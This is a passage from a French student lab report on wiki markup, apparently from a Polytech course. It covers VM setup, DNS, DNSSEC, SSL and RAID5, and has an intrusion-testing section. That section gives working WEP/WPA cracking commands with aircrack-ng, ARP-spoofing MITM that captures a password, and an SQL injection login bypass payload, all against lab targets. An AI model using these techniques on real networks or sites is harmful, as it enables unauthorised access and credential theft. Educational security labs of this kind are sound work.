  /dev/xvdb1     /home ext4  defaults   0   2     //0 sauvegarde et 2 place&lt;br /&gt;
  #/dev/xvdb2    /var  ext4  defaults   0   2&lt;br /&gt;
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
  mount /dev/xvdb2 /mnt&lt;br /&gt;
  mv /var/* /mnt&lt;br /&gt;
  blkid Trouver ou afficher les attributs de périphérique bloc&lt;br /&gt;
    /dev/xvda2: UUID=&amp;quot;efa11821-8780-4938-9473-5d217752316e&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvda1: UUID=&amp;quot;1a3161b3-a90d-4da5-a224-cfc496e70c89&amp;quot; TYPE=&amp;quot;swap&amp;quot;&lt;br /&gt;
    /dev/xvdb1: UUID=&amp;quot;5645526d-2cf4-42b5-a4a7-94fdda100ca1&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvdb2: UUID=&amp;quot;5b49ce5f-8116-4c41-aa25-97536f644803&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
  vi /etc/fstab&lt;br /&gt;
Par la suite, je peux décommenter la ligne et exécuter :&lt;br /&gt;
  umount /mnt    &lt;br /&gt;
  mount -a&lt;br /&gt;
Je vérifie que les disques sont bien montés via la commande db &lt;br /&gt;
  Filesystem     1K-blocks     Used   Available   Use%   Mounted on&lt;br /&gt;
  udev              483904        0      483904     0%   /dev&lt;br /&gt;
  tmpfs             100712      120      100592     1%   /run&lt;br /&gt;
  /dev/xvda2       4062912   791352     3045464    21%   /&lt;br /&gt;
  tmpfs               5120        0        5120     0%   /run/lock&lt;br /&gt;
  tmpfs             306280        0      306280     0%   /dev/shm&lt;br /&gt;
  '''/dev/xvdb1      10255636    36872     9678092     1%   /home'''&lt;br /&gt;
  '''/dev/xvdb2      10255636   315536     9399428     4%   /var'''&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que la VM est prête&lt;br /&gt;
  xl list&lt;br /&gt;
    Name          ID    Mem   VCPUs    State	Time(s)&lt;br /&gt;
    Domain-0      0    4046     4      r-----    6978.3&lt;br /&gt;
    boeing        1     256     1      -b----     185.5&lt;br /&gt;
    NightHawk     3    1024     1      -b----     826.8&lt;br /&gt;
    '''hawker        4    1024     1      -b----     776.9'''&lt;br /&gt;
    blackbird     5     256     1      -b----     640.4&lt;br /&gt;
    Falcon        6     256     1      -b----     691.7&lt;br /&gt;
    rafale        8     256     1      -b----     606.0&lt;br /&gt;
    mirage        12   1024     1      -b----     668.6&lt;br /&gt;
    alpha-jet     13    256     1      -b----     591.4&lt;br /&gt;
    concorde      19   1024     1      -b----     148.5&lt;br /&gt;
    oronge        20    256     1      -b----     536.2&lt;br /&gt;
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. &lt;br /&gt;
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.&lt;br /&gt;
&lt;br /&gt;
== Services Internet ==&lt;br /&gt;
&lt;br /&gt;
=== Configuration du réseau ===&lt;br /&gt;
&lt;br /&gt;
Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces&lt;br /&gt;
   auto eth0&lt;br /&gt;
   iface eth0 inet static&lt;br /&gt;
     address 193.48.57.171 &lt;br /&gt;
     netmask 255.255.255.240&lt;br /&gt;
     gateway 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus&lt;br /&gt;
   ifdown eth0&lt;br /&gt;
   ifup eth0&lt;br /&gt;
&lt;br /&gt;
Je vérifie que le processus s'est bien déroulé&lt;br /&gt;
   ip r&lt;br /&gt;
     default via 193.48.57.163 dev eth0 onlink &lt;br /&gt;
     193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171 &lt;br /&gt;
  ping 193.48.57.162 (Adresse IP 3560E)&lt;br /&gt;
&lt;br /&gt;
=== Serveur SSH ===&lt;br /&gt;
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :&lt;br /&gt;
  vi /etc/ssh/sshd_config&lt;br /&gt;
     PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
  service ssh restart&lt;br /&gt;
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.&lt;br /&gt;
  ssh root@193.48.57.171&lt;br /&gt;
&lt;br /&gt;
=== Serveur DNS ===&lt;br /&gt;
&lt;br /&gt;
Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.&lt;br /&gt;
&lt;br /&gt;
Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.&lt;br /&gt;
&lt;br /&gt;
Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre. &lt;br /&gt;
    ns.lulya.space&lt;br /&gt;
    193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.&lt;br /&gt;
    ns.lulya.space      1&lt;br /&gt;
    ns6.gandi.net       2&lt;br /&gt;
Pour le prise en compte ces modifications, on attend de 12 à 24h. &lt;br /&gt;
&lt;br /&gt;
Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.&lt;br /&gt;
Le fichier named.conf.options qui gère les options de configuration du DNS : &lt;br /&gt;
   options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
        listen-on-v6 { any; };&lt;br /&gt;
        allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
   };&lt;br /&gt;
   acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
        217.70.177.40/32; //Adresse IP de dns6.gandi.net&lt;br /&gt;
   };&lt;br /&gt;
&lt;br /&gt;
Puis le fichier named.conf.local pour déclarer les zones associées au domaine:&lt;br /&gt;
   zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
      type master;&lt;br /&gt;
      file &amp;quot;/etc/bind/db.lulya.space&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier de configuration /etc/bind/db.lulya.space :&lt;br /&gt;
   $TTL 3600&lt;br /&gt;
   @ IN SOA ns.lulya.space. postmaster.lulya.space. (&lt;br /&gt;
         1               ; Version&lt;br /&gt;
         1800             ; Refresh (30m)&lt;br /&gt;
         600             ; Retry   (10m)&lt;br /&gt;
         3600             ; Expire (1h)&lt;br /&gt;
         3600 )           ; Minimum TTL (1h)&lt;br /&gt;
   @ IN NS ns.lulya.space.&lt;br /&gt;
   @ IN NS ns6.gandi.net.&lt;br /&gt;
   ns      IN A       192.48.57.171&lt;br /&gt;
&lt;br /&gt;
J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.&lt;br /&gt;
&lt;br /&gt;
Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de site web par certificat ===&lt;br /&gt;
&lt;br /&gt;
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.&lt;br /&gt;
&lt;br /&gt;
Je modifie mon fichier db.lulya.space&lt;br /&gt;
  Version : 2&lt;br /&gt;
  IN MX 100 ns&lt;br /&gt;
  www  IN A  193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise. &lt;br /&gt;
&lt;br /&gt;
Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr&lt;br /&gt;
&lt;br /&gt;
J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier. &lt;br /&gt;
&lt;br /&gt;
En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage&lt;br /&gt;
  apt install strace&lt;br /&gt;
  strace -f -o open newaliases&lt;br /&gt;
  strace -f  newaliases&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de serveur DNS par DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.&lt;br /&gt;
&lt;br /&gt;
Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.&lt;br /&gt;
La clé asymétrique de signature de clefs de zone&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space&lt;br /&gt;
La clé asymétrique de zone pour les enregistrements&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space&lt;br /&gt;
&lt;br /&gt;
Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe : &lt;br /&gt;
&lt;br /&gt;
- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK &lt;br /&gt;
&lt;br /&gt;
- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée&lt;br /&gt;
  mv Klulya.space.+005+11461.key              lulya.space-ksk.key&lt;br /&gt;
  mv Klulya.space.+005+11461.private      lulya.space-ksk.private&lt;br /&gt;
  mv Klulya.space.+005+27882.key              lulya.space-zsk.key&lt;br /&gt;
  mv Klulya.space.+005+27882.private      lulya.space-zsk.private&lt;br /&gt;
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Je signe les enregistrements&lt;br /&gt;
  dnssec-signzone -o lulya.space -k lulya.space-ksk  ../db.lulya.space lulya.space-zsk&lt;br /&gt;
&lt;br /&gt;
Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed&lt;br /&gt;
  zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.lulya.space.signed&amp;quot;;&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net&lt;br /&gt;
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.&lt;br /&gt;
&lt;br /&gt;
      [[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Je dois trouver le point d’accès : canal et nom des réseaux.&lt;br /&gt;
&lt;br /&gt;
Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau. &lt;br /&gt;
&lt;br /&gt;
Dans notre cas, la carte Wi-fi se place en observateur du réseau.&lt;br /&gt;
&lt;br /&gt;
Je liste les interfaces disponibles :&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	  Driver	Chipset&lt;br /&gt;
    phy0  wlx40a5efd2140c rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airmon-ng start wlx40a5efd2140c&lt;br /&gt;
  Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.&lt;br /&gt;
        (mac80211 monitor mode vif enabled on [phy0]wlan0mon&lt;br /&gt;
        (mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)&lt;br /&gt;
&lt;br /&gt;
Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.&lt;br /&gt;
&lt;br /&gt;
En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	Driver		Chipset&lt;br /&gt;
    phy0    wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux &lt;br /&gt;
  root@zabeth09:~# airmon-ng –encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
Tous les cracotte se trouvent sur channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56&lt;br /&gt;
&lt;br /&gt;
Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.&lt;br /&gt;
  airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP&lt;br /&gt;
  root@zabeth09:~# aircrack-ng lcrack-01.cap&lt;br /&gt;
  Opening lcrack-01.capse wait…&lt;br /&gt;
&lt;br /&gt;
Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.&lt;br /&gt;
&lt;br /&gt;
                              Aircrack-ng 1.5.2 &lt;br /&gt;
                 [00:00:00] Tested 833 keys (got 73079 IVs)&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 17   F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176) &lt;br /&gt;
    1    0/  1   91(103680) 34(83968) 54(83456) B3(83456) B9(82432) &lt;br /&gt;
    2    2/  2   60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664) &lt;br /&gt;
    3   15/  3   B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104) &lt;br /&gt;
    4    0/  1   74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664) &lt;br /&gt;
             KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] &lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute === &lt;br /&gt;
En utilisant la même méthode, on peut craquer une autre clef WPA.&lt;br /&gt;
  root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon&lt;br /&gt;
    -rw-r--r-- 1 root root  88K Nov  4 17:11 lkrack-03.cap&lt;br /&gt;
&lt;br /&gt;
Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.&lt;br /&gt;
&lt;br /&gt;
  int main(void){&lt;br /&gt;
        int x;&lt;br /&gt;
        for(x=0; x=99999999; x++){&lt;br /&gt;
            printf(&amp;quot;%08d\n&amp;quot;,x);&lt;br /&gt;
        }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico. &lt;br /&gt;
  root@zabeth09:~# gcc -Wall -o dico main.c&lt;br /&gt;
&lt;br /&gt;
Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.&lt;br /&gt;
  root@zabeth09:~# ./dico | more&lt;br /&gt;
    00000000&lt;br /&gt;
    00000001&lt;br /&gt;
    00000002&lt;br /&gt;
    00000003&lt;br /&gt;
    00000004&lt;br /&gt;
  root@zabeth09:~# ./dico | tail&lt;br /&gt;
    99999995&lt;br /&gt;
    99999996&lt;br /&gt;
    99999997&lt;br /&gt;
    99999998&lt;br /&gt;
    99999999&lt;br /&gt;
&lt;br /&gt;
Je finis par les transférer dans un fichier .txt&lt;br /&gt;
  root@zabeth09:~# ./dico &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09. &lt;br /&gt;
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.&lt;br /&gt;
  root@zabeth09:~# split -n 2 dico.txt&lt;br /&gt;
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico&lt;br /&gt;
  root@zabeth09:~# ls -lhrt &lt;br /&gt;
  -rw-r--r-- 1 root root  101 Nov  4 17:09 main.c&lt;br /&gt;
  -rwxr-xr-x 1 root root  17K Nov  4 17:09 dico&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xaa&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xab&lt;br /&gt;
En tapant la commande tail, je vérifie que celui que je veux est bien xab&lt;br /&gt;
&lt;br /&gt;
Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22&lt;br /&gt;
  root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)&lt;br /&gt;
  root@zabeth22:~# cat /tmp/result &lt;br /&gt;
    Aircrack-ng 1.5.2 &lt;br /&gt;
      [00:09:13] 10260165/102795810 keys tested (3427.05 k/s) &lt;br /&gt;
      Time left: 7 hours, 30 minutes, 1 second      9.98%&lt;br /&gt;
                           KEY FOUND! [ 10255555 ]&lt;br /&gt;
&lt;br /&gt;
La clé se trouvait dans les 1er 10 % de dico. &lt;br /&gt;
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.&lt;br /&gt;
Il est logique que celui-ci nous donne aucune clé en réponse.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth26:~# cat /tmp/result &lt;br /&gt;
   [00:46:05] 50000000/51397904 keys tested (3498.19 k/s) &lt;br /&gt;
      Time left: 0 seconds              97.28%&lt;br /&gt;
                          KEY NOT FOUND&lt;br /&gt;
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.&lt;br /&gt;
&lt;br /&gt;
=== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ===&lt;br /&gt;
&lt;br /&gt;
J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :&lt;br /&gt;
&lt;br /&gt;
- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées&lt;br /&gt;
&lt;br /&gt;
- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local&lt;br /&gt;
&lt;br /&gt;
- dsniff : écoute de mots de passe pour différents protocoles&lt;br /&gt;
&lt;br /&gt;
Je vérifie d’abord que dorade est bien configuré au niveau du réseau.&lt;br /&gt;
  root@dorade:/home/pifou# cat /etc/network/interfaces&lt;br /&gt;
    # This is an autoconfigured IPv6 interface&lt;br /&gt;
    iface eth0 inet static&lt;br /&gt;
        address 172.26.145.101&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires&lt;br /&gt;
  root@dorade:/home/pifou# ip a&lt;br /&gt;
    1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1&lt;br /&gt;
    2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
&lt;br /&gt;
Une commande permet de voir la table de routage.&lt;br /&gt;
  root@dorade:/home/pifou# ip r&lt;br /&gt;
    default via 172.26.145.254 dev eth0 onlink &lt;br /&gt;
    169.254.0.0/16 dev eth0 scope link metric 1000 &lt;br /&gt;
    172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101 &lt;br /&gt;
&lt;br /&gt;
Je vérifie qu’il est bien relié au réseau en pingant zabeth09.&lt;br /&gt;
  root@dorade:/home/pifou# ping zabeth09&lt;br /&gt;
    PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms&lt;br /&gt;
    --- zabeth09 ping statistics ---&lt;br /&gt;
    2 packets transmitted, 2 received, 0% packet loss, time 1001ms&lt;br /&gt;
    rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms&lt;br /&gt;
&lt;br /&gt;
En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.&lt;br /&gt;
&lt;br /&gt;
Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 1 : l'IP Forwarding est activé.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      0 &lt;br /&gt;
Dorade n’est pas en mode routeur, je passe alors le noyau à 1&lt;br /&gt;
  root@dorade:/home/pifou# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
J'utilise la commande arpsppof, en prenant les informations collectées au début.&lt;br /&gt;
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.&lt;br /&gt;
  root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
&lt;br /&gt;
Lors de cette étape toujours en cours, je lance un second terminal.&lt;br /&gt;
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter      0&lt;br /&gt;
  root@dorade:/home/pifou# wireshark&lt;br /&gt;
      [[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.&lt;br /&gt;
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
=== Intrusion sur un serveur d’application Web ===&lt;br /&gt;
&lt;br /&gt;
Je veux m'introduire sur un site de Polytech honey.plil.info.&lt;br /&gt;
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.&lt;br /&gt;
  SELECT id FROM users WHERE id='$id' AND pass='$pass';&lt;br /&gt;
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.&lt;br /&gt;
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe&lt;br /&gt;
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Réalisation ==&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de données ===  &lt;br /&gt;
&lt;br /&gt;
Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.&lt;br /&gt;
&lt;br /&gt;
Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.&lt;br /&gt;
&lt;br /&gt;
Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions. &lt;br /&gt;
&lt;br /&gt;
Je commence par créer les 3 partitions LVM de 1Go&lt;br /&gt;
  lvcreate -l1G -n hawker-raid1 storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Je visualise les disques créés via la commande &lt;br /&gt;
  vgdisplay&lt;br /&gt;
Il existe 3 types de volumes différents : storage, virtual et system.&lt;br /&gt;
&lt;br /&gt;
Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :&lt;br /&gt;
  disk= [ ...     &lt;br /&gt;
          'phy:/dev/virtual/hawker-raid1,xvdc1,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid2,xvdc2,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid3,xvdc3,w',&lt;br /&gt;
        ]&lt;br /&gt;
&lt;br /&gt;
Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.&lt;br /&gt;
&lt;br /&gt;
Je met en place le disque niveau 5 (RAID5) avec les 3 partitions&lt;br /&gt;
  mdadm --create /dev/md0 --level=5   --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.&lt;br /&gt;
  mkfs /dev/md0&lt;br /&gt;
  mount /dev/md0 /mnt&lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
&lt;br /&gt;
Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage&lt;br /&gt;
   /dev/md0  /raid5  ext2  defaults  0  2 &lt;br /&gt;
&lt;br /&gt;
Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées. &lt;br /&gt;
&lt;br /&gt;
1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.&lt;br /&gt;
&lt;br /&gt;
2ème essai : Je simule la perte du disque 2&lt;br /&gt;
  cp -a /usr/bin /mnt                               //Copie de données&lt;br /&gt;
